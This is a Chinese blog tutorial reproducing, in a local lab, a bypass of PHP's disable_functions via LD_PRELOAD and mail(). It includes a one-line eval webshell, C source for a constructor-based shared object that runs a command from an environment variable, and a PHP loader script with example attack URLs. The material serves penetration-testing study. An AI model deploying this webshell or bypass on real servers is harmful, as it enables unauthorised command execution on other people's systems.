一种绕过php disablefunc的方法复现

时间:2022-06-26
本文章向大家介绍一种绕过php disablefunc的方法复现,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

前言

无意中刷到一个文章,关于disablefunction的方法绕过的,依然是脚本小子式的复现环境。

我们也知道在渗透测试中经常会出现这种情况,写了shell,但是执行不了系统函数,这个时候不妨看看php的PHP info(),页面,通常就是函数被禁用,被禁用的话会很尴尬,因为自己种的马骑不了,所以这个时候就想办法绕过了。绕过的原理原理就是加上一个so文件啊,让执行系统函数的时候,默认执行我们做好的同名函数。

环境搭建

ubuntu+apache2+php7.2

配置

/etc/php/7.2/apache2/php.ini

设置

disable_functions = system,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,

然后重启apache2 服务器

这样就能把system禁用了

然后在网站的根目录上放一个shell.php

<?php  @eval($_GET['fz41']);?>

访问shell.php

可以正常执行php的代码,不能执行系统函数。

测试访问

http://192.168.44.139/shell.php?fz41=phpinfo();

可以看见phpinfo()的信息

访问

http://192.168.44.139/shell.php?fz41=system(ls);

没有任何回显

环境配置成功,我们的任务就是通过劫持函数的方法来绕过这个disable_functions 的限制,利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。

原理解读

LD_PRELOAD的作用

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的

我们要做的就是通过修改环境变量LD_PRELOAD,让php启动新的进程的时候加载我们设置好的函数,比如说system()这样一来,就可以做到bypass了,只要启用了新的进程就有机会加载我们在上一个进程中构造的函数,通过测试可知mail可以创建新的进程,另外一个问题就是,如何构造我们想执行的函数,比如system()

attribute((constructor))

GCC 有个 C 语言扩展修饰符 attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 __attribute((constructor)) 修饰的函数。

因此,可以通过这个方式来构造函数,把我们要执行的命令放在环境变量里,执行时直接加载环境变量的命令,就可以做到绕过了

代码类似这种

#define _GNU_SOURCE

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__ ((__constructor__)) void preloadme (void)
{
    unsetenv("LD_PRELOAD");
    const char* cmdline = getenv("EVIL_CMDLINE");
    system(cmdline);
}

工具使用

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

复现

gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc2.so 

然后写利用如下php

<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc2.so  </p>";
    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
    putenv("EVIL_CMDLINE=" . $evil_cmdline);
    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);
    mail("", "", "", "");
    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 
    unlink($out_path);
?>

然后访问

http://192.168.44.139/bypass_disablefunc.php?cmd=whoami&outpath=/tmp/xx&sopath=/var/www/html/bypass_disablefunc2.so 

参考链接

https://www.freebuf.com/articles/web/192052.html

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD